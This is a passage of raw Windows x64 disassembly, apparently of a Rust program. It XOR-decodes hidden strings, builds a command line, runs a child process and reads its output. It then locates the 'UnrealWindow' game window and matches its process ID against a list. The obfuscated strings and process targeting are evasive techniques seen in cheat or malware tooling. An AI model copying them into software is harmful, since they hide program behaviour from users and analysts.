mov byte [r15 + 0x2a], 0x72
movzx eax, byte [0x14021f978]
mov edx, 0x2b
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d658
mov rsi, rax
movaps xmm0, xmmword [0x1400b7850]
movups xmmword [rax], xmm0
movapd xmm0, xmmword [0x1400b7860]
movupd xmmword [rax + 0x10], xmm0
movabs rax, 0xe8ccccd7aa550564
mov qword [rsi + 0x20], rax
mov word [rsi + 0x28], 0x5024
mov byte [rsi + 0x2a], 0x37
movzx eax, byte [r15]
xor al, 0xc5
mov byte [rsi], al
movzx eax, byte [r15 + 1]
xor al, 0x78
mov byte [rsi + 1], al
movzx eax, byte [r15 + 2]
xor al, 0x73
mov byte [rsi + 2], al
movzx eax, byte [r15 + 3]
xor al, 0x5f
mov byte [rsi + 3], al
movzx eax, byte [r15 + 4]
xor al, 0x9b
mov byte [rsi + 4], al
movzx eax, byte [r15 + 5]
xor al, 0x2c
mov byte [rsi + 5], al
movzx eax, byte [r15 + 6]
xor al, 0x52
mov byte [rsi + 6], al
movzx eax, byte [r15 + 7]
xor al, 0x94
mov byte [rsi + 7], al
movzx eax, byte [r15 + 8]
xor al, 0x2b
mov byte [rsi + 8], al
movzx eax, byte [r15 + 9]
xor al, 0xc2
mov byte [rsi + 9], al
movzx eax, byte [r15 + 0xa]
xor al, 0xef
mov byte [rsi + 0xa], al
movzx eax, byte [r15 + 0xb]
xor al, 0x17
mov byte [rsi + 0xb], al
movzx eax, byte [r15 + 0xc]
xor al, 0x84
mov byte [rsi + 0xc], al
movzx eax, byte [r15 + 0xd]
xor al, 0x78
mov byte [rsi + 0xd], al
movzx eax, byte [r15 + 0xe]
xor al, 0xe8
mov byte [rsi + 0xe], al
movzx eax, byte [r15 + 0xf]
xor al, 0x57
mov byte [rsi + 0xf], al
movzx eax, byte [r15 + 0x10]
xor al, 0xcb
mov byte [rsi + 0x10], al
movzx eax, byte [r15 + 0x11]
xor al, 0x95
mov byte [rsi + 0x11], al
movzx eax, byte [r15 + 0x12]
xor al, 0xfe
mov byte [rsi + 0x12], al
movzx eax, byte [r15 + 0x13]
xor al, 0x4a
mov byte [rsi + 0x13], al
movzx eax, byte [r15 + 0x14]
xor al, 0x7c
mov byte [rsi + 0x14], al
movzx eax, byte [r15 + 0x15]
xor byte [rsi + 0x15], al
movzx eax, byte [r15 + 0x16]
xor byte [rsi + 0x16], al
movzx eax, byte [r15 + 0x17]
xor byte [rsi + 0x17], al
movzx eax, byte [r15 + 0x18]
xor byte [rsi + 0x18], al
movzx eax, byte [r15 + 0x19]
xor byte [rsi + 0x19], al
movzx eax, byte [r15 + 0x1a]
xor byte [rsi + 0x1a], al
movzx eax, byte [r15 + 0x1b]
xor byte [rsi + 0x1b], al
movzx eax, byte [r15 + 0x1c]
xor byte [rsi + 0x1c], al
movzx eax, byte [r15 + 0x1d]
xor byte [rsi + 0x1d], al
movzx eax, byte [r15 + 0x1e]
xor byte [rsi + 0x1e], al
movzx eax, byte [r15 + 0x1f]
xor byte [rsi + 0x1f], al
movzx eax, byte [r15 + 0x20]
xor byte [rsi + 0x20], al
movzx eax, byte [r15 + 0x21]
xor byte [rsi + 0x21], al
movzx eax, byte [r15 + 0x22]
xor byte [rsi + 0x22], al
movzx eax, byte [r15 + 0x23]
xor byte [rsi + 0x23], al
movzx eax, byte [r15 + 0x24]
xor byte [rsi + 0x24], al
movzx eax, byte [r15 + 0x25]
xor byte [rsi + 0x25], al
movzx eax, byte [r15 + 0x26]
xor byte [rsi + 0x26], al
movzx eax, byte [r15 + 0x27]
xor byte [rsi + 0x27], al
movzx eax, byte [r15 + 0x28]
xor byte [rsi + 0x28], al
movzx eax, byte [r15 + 0x29]
xor byte [rsi + 0x29], al
movzx eax, byte [r15 + 0x2a]
xor byte [rsi + 0x2a], al
lea rcx, [rbp + 0x110]
mov r8d, 0x2b
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001db91
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov r15, rax
mov word [rax], 0xcf21
mov byte [rax + 2], 0xb
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov word [rax], 0xbc0e
mov byte [rax + 2], 0x68
movzx ecx, byte [r15]
xor cl, 0xe
mov byte [rax], cl
movzx ecx, byte [r15 + 1]
xor cl, 0xbc
mov byte [rax + 1], cl
movzx ecx, byte [r15 + 2]
xor cl, 0x68
mov byte [rax + 2], cl
lea rcx, [rbp + 0x110]
mov r8d, 3
mov qword [rbp + 0x298], rax
mov rdx, rax
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dbc8
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov r15, rax
mov dword [rax], 0xbff76511
mov word [rax + 4], 0x645f
mov byte [rax + 6], 0xf7
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov dword [rax], 0xf0bb2b5e
mov word [rax + 4], 0x2b18
mov byte [rax + 6], 0xb9
movzx ecx, byte [r15]
xor cl, 0x5e
mov byte [rax], cl
movzx ecx, byte [r15 + 1]
xor cl, 0x2b
mov byte [rax + 1], cl
movzx ecx, byte [r15 + 2]
xor cl, 0xbb
mov byte [rax + 2], cl
movzx ecx, byte [r15 + 3]
xor cl, 0xf0
mov byte [rax + 3], cl
movzx ecx, byte [r15 + 4]
xor cl, 0x18
mov byte [rax + 4], cl
movzx ecx, byte [r15 + 5]
xor cl, 0x2b
mov byte [rax + 5], cl
movzx ecx, byte [r15 + 6]
xor cl, 0xb9
mov byte [rax + 6], cl
lea rcx, [rbp + 0x110]
mov r8d, 7
mov qword [rbp + 0x1b0], rax
mov rdx, rax
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dbf8
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov r15, rax
mov word [rax], 0x6876
mov byte [rax + 2], 0x81
movzx eax, byte [0x14021f978]
mov edx, 3
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4a0
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x2f0], rbx
mov word [rax], 0x1a59
mov byte [rax + 2], 0xf4
movzx ecx, byte [r15]
xor cl, 0x59
mov byte [rax], cl
movzx ecx, byte [r15 + 1]
xor cl, 0x1a
mov byte [rax + 1], cl
movzx ecx, byte [r15 + 2]
xor cl, 0xf4
mov byte [rax + 2], cl
lea rcx, [rbp + 0x110]
mov r8d, 3
mov qword [rbp + 0x1a8], rax
mov rdx, rax
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dc36
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 6
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d667
mov r13, rax
mov dword [rax], 0xa6a45b9
mov word [rax + 4], 0x7a44
movzx eax, byte [0x14021f978]
mov edx, 6
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d667
mov r15, rax
mov dword [rax], 0x5e391cea
mov word [rax + 4], 0x3701
movzx eax, byte [r13]
xor al, 0xea
mov byte [r15], al
movzx eax, byte [r13 + 1]
xor al, 0x1c
mov byte [r15 + 1], al
movzx eax, byte [r13 + 2]
xor al, 0x39
mov byte [r15 + 2], al
movzx eax, byte [r13 + 3]
xor al, 0x5e
mov byte [r15 + 3], al
movzx eax, byte [r13 + 4]
xor al, 1
mov byte [r15 + 4], al
movzx eax, byte [r13 + 5]
xor al, 0x37
mov byte [r15 + 5], al
lea rcx, [rbp + 0x110]
mov r8d, 6
mov rdx, r15
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dc74
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 2
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d676
mov r13, rax
mov word [rax], 0x4060
movzx eax, byte [0x14021f978]
mov edx, 2
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d676
mov rbx, rax
mov word [rax], 0x264f
movzx eax, byte [r13]
xor al, 0x4f
mov byte [rbx], al
movzx eax, byte [r13 + 1]
xor al, 0x26
mov byte [rbx + 1], al
lea rcx, [rbp + 0x110]
mov r8d, 2
mov rdx, rbx
call fcn.14002a4b0
test byte [rbp + 0x110], 1
jne 0x14001dcab
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x1c0]
mov r8d, 7
mov rcx, r13
mov rdx, qword [rbp + 0x2f0]
call fcn.1400a2ab0
mov r8d, 3
mov rcx, r13
mov rdx, qword [rbp + 0x100]
call fcn.1400a2ab0
mov r8d, 0x13
mov rcx, r13
mov rdx, rdi
call fcn.1400a2ab0
mov r8d, 3
mov rcx, r13
mov rdx, qword [rbp + 0x2f8]
call fcn.1400a2ab0
mov r8d, 0x2b
mov rcx, r13
mov rdx, rsi
call fcn.1400a2ab0
mov r8d, 3
mov rcx, r13
mov rdx, qword [rbp + 0x298]
call fcn.1400a2ab0
mov r8d, 7
mov rcx, r13
mov rdx, qword [rbp + 0x1b0]
call fcn.1400a2ab0
mov r8d, 3
mov rcx, r13
mov rdx, qword [rbp + 0x1a8]
call fcn.1400a2ab0
mov r8d, 6
mov rcx, r13
mov rdx, r15
call fcn.1400a2ab0
mov r8d, 2
mov rcx, r13
mov qword [rbp + 0x58], rbx
mov rdx, rbx
call fcn.1400a2ab0
mov dword [rbp + 0x320], 3
lea rcx, [rbp + 0x110]
lea r8, [rbp + 0x320]
mov rdx, r13
call fcn.140092820
mov rbx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x120]
cmp rax, 2
mov qword [rbp + 0x50], r14
je 0x14001b6bd
mov rcx, qword [rbp + 0x118]
mov qword [rbp + 0x60], rcx
movups xmm0, xmmword [rbp + 0x128]
movups xmmword [rbp + 0xc8], xmm0
movupd xmm0, xmmword [rbp + 0x138]
movupd xmmword [rbp + 0xd8], xmm0
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xc8]
mov qword [rbp + 0xc0], 0
test rax, rax
je 0x14001a94e
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], 1
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 1
mov qword [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xd8]
test byte [rbp + 0xd0], 1
mov qword [rbp + 0xd0], 0
movzx eax, byte [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0xe0], 0
je 0x14001aa1e
mov qword [rbp + 0x98], rbx
test al, 1
je 0x14001aac4
mov qword [rbp + 0x108], rcx
mov byte [rbp + 0x317], 1
lea rcx, [rbp + 0x110]
lea r8, [rbp + 0x2a0]
call fcn.14009f3f0
mov rax, qword [rbp + 0x110]
mov r13, qword [rbp + 0x118]
cmp rax, 3
jne 0x14001ab66
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x14001afd7
test al, 1
je 0x14001afe7
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x320], rcx
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0xa0]
call fcn.140092100
test al, 1
je 0x14001aaed
mov qword [rbp + 0x110], rdx
lea rax, [0x14020cd68]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140083b10
lea r8, [rbp + 0x110]
mov edx, 0x2b
call fcn.1400b1790
jmp 0x14001ea42
movabs rdx, 0x8000000000000000
mov qword [rbp + 0x10], rdx
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x10]
call fcn.1400b1140
mov r12, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
jmp 0x14001ca2f
mov qword [rbp + 0x108], rdx
mov qword [rbp + 0x320], rdx
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x2a0]
call fcn.140092100
test al, 1
jne 0x14001e9dc
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, qword [rbp + 0x98]
jmp 0x14001afe7
mov rax, qword [rbp + 0x318]
lea r12, [rax + 8]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001ab3c
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
call r13
add r12, 0x10
dec r15
je 0x140019194
mov r14, qword [r12 - 8]
mov rdi, qword [r12]
mov rax, qword [rdi]
test rax, rax
je 0x14001ab52
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14001ab2f
cmp qword [rdi + 0x10], 0x11
jb 0x14001ab20
mov r14, qword [r14 - 8]
jmp 0x14001ab20
movupd xmm0, xmmword [rbp + 0x120]
movdqu xmm1, xmmword [rbp + 0x130]
movdqu xmmword [rbp + 0x2e0], xmm1
movupd xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], r13
lea rcx, [rbp + 0x110]
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x108]
call fcn.14009f3f0
mov rax, qword [rbp + 0x110]
mov r13, qword [rbp + 0x118]
cmp rax, 3
je 0x14001afc4
movupd xmm0, xmmword [rbp + 0x120]
movdqu xmm1, xmmword [rbp + 0x130]
movdqu xmmword [rbp + 0x340], xmm1
movupd xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], r13
mov rax, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x348]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rcx
lea r13, [rbp + 0x80]
mov rbx, qword [sym.imp.kernel32.dll_WaitForMultipleObjects]
mov ecx, 2
mov rdx, r13
xor r8d, r8d
mov r9d, 0xffffffff
call rbx
cmp eax, 1
je 0x14001ac99
test eax, eax
jne 0x14001afa7
mov rax, qword [rbp + 0x2c0]
test rax, rax
je 0x14001ad1e
cmp eax, 1
jne 0x14001acf8
mov rdx, qword [rbp + 0x2d0]
mov rcx, qword [rbp + 0x2e0]
mov dword [rbp + 0x110], 0
lea r8, [rbp + 0x110]
mov r9d, 1
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x14001ad50
mov eax, dword [rbp + 0x110]
lea r13, [rbp + 0x80]
jmp 0x14001acff
mov rax, qword [rbp + 0x320]
test rax, rax
je 0x14001adc6
cmp eax, 2
jne 0x14001acba
mov rax, qword [rbp + 0x328]
jmp 0x14001adab
mov rdx, qword [rbp + 0x330]
mov rcx, qword [rbp + 0x340]
mov dword [rbp + 0x110], 0
lea r8, [rbp + 0x110]
mov r9d, 1
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x14001ad76
mov eax, dword [rbp + 0x110]
jmp 0x14001ada4
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x2c0], 0
mov rcx, qword [rbp + 0x2d8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14001af96
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x2c0]
call fcn.14009f6c0
cmp byte [rbp + 0x110], 0
jne 0x14001af8d
test byte [rbp + 0x111], 1
jne 0x14001ac1e
jmp 0x14001af96
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x26
je 0x14001ad94
mov r13d, eax
mov eax, 0
cmp r13d, 0x6d
jne 0x14001afb0
lea r13, [rbp + 0x80]
jmp 0x14001acff
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x26
je 0x14001ada2
mov r13d, eax
mov eax, 0
cmp r13d, 0x6d
je 0x14001ada4
jmp 0x14001afb0
xor eax, eax
lea r13, [rbp + 0x80]
jmp 0x14001acff
xor eax, eax
lea r13, [rbp + 0x80]
mov qword [rbp + 0x320], 0
mov rcx, qword [rbp + 0x338]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14001adf3
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x320]
call fcn.14009f6c0
cmp byte [rbp + 0x110], 0
jne 0x14001af8d
test byte [rbp + 0x111], 1
jne 0x14001ac1e
lea rcx, [rbp + 0x2c0]
call fcn.14009f7d0
jmp 0x14001afa2
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r12
call fcn.1400b1170
mov r12, rax
jmp 0x14001ae8b
mov rcx, rax
call fcn.1400b1170
mov r12, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x14001ae8b
mov rcx, qword [rbp + 0x128]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x308]
mov qword [rbp - 8], rax
mov qword [rbp], rdx
mov qword [rbp + 8], rcx
lea rcx, [rbp - 0x10]
call fcn.1400b0fc0
mov r12, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rbp + 0x1a0]
jmp 0x14001b854
mov rcx, qword [rbp + 0x128]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rcx
lea rcx, [rbp - 0x30]
call fcn.1400b0fc0
mov r13, rax
mov r8, rdi
mov r14, qword [rbp + 0x300]
jmp 0x14001b7aa
mov r14, qword [rbp + 0x110]
mov r12, qword [rbp + 0x118]
mov r13, qword [rbp + 0xf8]
jmp 0x14001af7e
mov qword [rbp + 0x320], 0
mov qword [rbp + 0x328], 1
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x1f0], 0x20
mov byte [rbp + 0x1f8], 3
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1d0], 0
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1e0], rax
lea rax, [0x1400b7be0]
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x133]
mov dword [rbp + 0x133], 0x34353131
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 4
jmp 0x14001926b
mov qword [rbp + 0x300], 0
mov ebx, 0xc
xor esi, esi
mov r15, r13
jmp 0x1400192b4
mov r13, qword [rbp + 0x118]
jmp 0x14001afb8
lea rcx, [rbp + 0x320]
call fcn.14009f7d0
mov r13, rax
jmp 0x14001afb8
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
lea rcx, [rbp + 0x320]
call fcn.14009f500
mov byte [rbp + 0x317], 0
lea rcx, [rbp + 0x2c0]
call fcn.14009f500
test r13, r13
mov rbx, qword [rbp + 0x98]
jne 0x14001ea10
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x14001b04c
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
cmp qword [rbp + 0xa0], 0
je 0x14001b022
mov r8, qword [rbp + 0xa8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
shl r13, 0x20
cmp qword [rbp + 0x2a0], 0
je 0x14001b046
mov r8, qword [rbp + 0x2a8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or r13, 2
jmp 0x14001b09b
mov dword [rbp + 0x110], 0
lea rdx, [rbp + 0x110]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
je 0x14001aff9
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0xb8], rax
mov r13, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x108], rax
mov rcx, rbx
mov r14, qword [sym.imp.kernel32.dll_CloseHandle]
call r14
mov rcx, qword [rbp + 0x60]
call r14
mov rbx, qword [rbp + 0xb8]
mov rax, rbx
neg rax
jo 0x14001b6ba
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x58]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x1a8]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x1b0]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x298]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x2f8]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x100]
call r14
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x2f0]
call r14
lea rcx, [rbp + 0x1c0]
call fcn.1400031f0
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x50]
call r14
test rbx, rbx
je 0x14001b1ab
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x98], 0
mov rdi, qword [rbp + 0x290]
mov r14, qword [rbp + 0xf8]
mov rsi, qword [rbp + 0x90]
mov r15, qword [rbp + 0x318]
je 0x14001b1e7
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [r15], 0
cmp qword [rbp + 0x48], 0
mov rbx, qword [rbp + 0x300]
je 0x14001b20d
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [r12 + 8]
jmp 0x14001b239
cmp qword [rsi - 8], 0
je 0x14001b230
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x1c0]
call fcn.14000fc70
mov rsi, qword [rbp + 0x1c0]
mov rbx, qword [rbp + 0x1c8]
mov rax, rsi
neg rax
jno 0x14001b2d4
mov r12, rbx
mov rdi, qword [rbp + 0x1a0]
jmp 0x14001ca1d
mov rdi, qword [rbp + 0x1d0]
test rdi, rdi
je 0x14001b5df
mov r13, rbx
mov r12, rsi
movzx eax, byte [0x14021f978]
mov edx, 0xc
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4be
mov r15, rax
movabs rax, 0x24fc502ade5a36e1
mov qword [r15], rax
mov dword [r15 + 8], 0xf0acd34b
movzx eax, byte [0x14021f978]
mov edx, 0xc
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4be
mov r14, rax
movabs rax, 0x4dab3c4bbb2858b4
xor rax, qword [r15]
mov qword [r14], rax
mov eax, 0x87c3b725
xor eax, dword [r15 + 8]
mov dword [r14 + 8], eax
lea rcx, [rbp + 0x1c0]
mov r8d, 0xc
mov rdx, r14
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d87b
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0xd
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d8b2
mov ecx, dword [r14 + 8]
mov dword [rax + 8], ecx
mov rcx, qword [r14]
mov qword [rax], rcx
cmp byte [r14], 0
mov qword [rbp + 0x318], r12
je 0x14001b66d
cmp byte [r14 + 1], 0
je 0x14001b674
cmp byte [r14 + 2], 0
je 0x14001b67e
cmp byte [r14 + 3], 0
je 0x14001b688
cmp byte [r14 + 4], 0
je 0x14001b692
cmp byte [r14 + 5], 0
je 0x14001b69c
cmp byte [r14 + 6], 0
je 0x14001b6a6
cmp byte [r14 + 7], 0
je 0x14001b6b0
cmp byte [r14 + 8], 0
je 0x14001b869
cmp byte [r14 + 9], 0
je 0x14001b870
cmp byte [r14 + 0xa], 0
je 0x14001b877
cmp byte [r14 + 0xb], 0
je 0x14001b87e
mov qword [rbp + 0x1c0], 0xd
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0xc
lea rcx, [rbp + 0x1c0]
call fcn.140025730
mov rbx, rax
mov r15, rdx
mov rcx, rax
xor edx, edx
call qword [sym.imp.user32.dll_FindWindowA]
test rax, rax
je 0x14001bf94
mov dword [rbp + 0x110], 0
lea rdx, [rbp + 0x110]
mov rcx, rax
call qword [sym.imp.user32.dll_GetWindowThreadProcessId]
mov r12d, dword [rbp + 0x110]
test r12d, r12d
je 0x14001bfb9
mov byte [rbx], 0
test r15, r15
je 0x14001b4c8
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rdi, 1
je 0x14001b8d7
xor esi, esi
lea rbx, [0x140002b60]
mov r15, r13
lea r13, [0x1400b9ba8]
lea r14, [rbp + 0x110]
mov qword [rbp + 0x290], r15
nop word cs:[rax + rax]
mov qword [rbp + 0x2c0], rsi
inc rsi
cmp r12d, dword [r15]
mov eax, 1
lea rcx, str.most_likely
cmove rax, rcx
mov qword [rbp + 0x320], rax
mov eax, 0
mov ecx, 0xb
cmove rax, rcx
mov qword [rbp + 0x328], rax
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x1c0], rax
lea rax, [fcn.140028dd0]
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], r15
lea rax, [0x140029de0]
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rbx
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], 4
mov qword [rbp + 0x130], 0
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 3
mov rcx, r14
call case.0x1400878fd.213
add r15, 4
cmp rdi, rsi
jne 0x14001b510
jmp 0x14001bc5a
lea r14, [rbp + 0x1c0]
jmp 0x14001b60b
mov ecx, 1
xor edx, edx
call fcn.140085e10
mov rsi, r12
mov rbx, r13
test rdi, rdi
jne 0x14001b2ea
mov rcx, r14
call fcn.14000fc70
mov r12, qword [rbp + 0x1c0]
mov r13, qword [rbp + 0x1c8]
mov rax, r12
neg rax
jo 0x14001b649
mov rdi, qword [rbp + 0x1d0]
test rsi, rsi
je 0x14001b5f0
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001b5f0
mov r12, r13
mov rdi, qword [rbp + 0x1a0]
test rsi, rsi
je 0x14001ca1d
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
jmp 0x14001ca17
xor ecx, ecx
jmp 0x14001b883
mov ecx, 1
jmp 0x14001b883
mov ecx, 2
jmp 0x14001b883
mov ecx, 3
jmp 0x14001b883
mov ecx, 4
jmp 0x14001b883
mov ecx, 5
jmp 0x14001b883
mov ecx, 6
jmp 0x14001b883
mov ecx, 7
jmp 0x14001b883
mov rbx, r13
mov r14, qword [rbp + 0x300]
mov rcx, rbx
call fcn.1400b1170
mov r13, rax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x58]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x1a8]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x1b0]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x298]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x2f8]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x100]
call rbx
mov rcx, qword [0x14021f8e0]
xor edx, edx
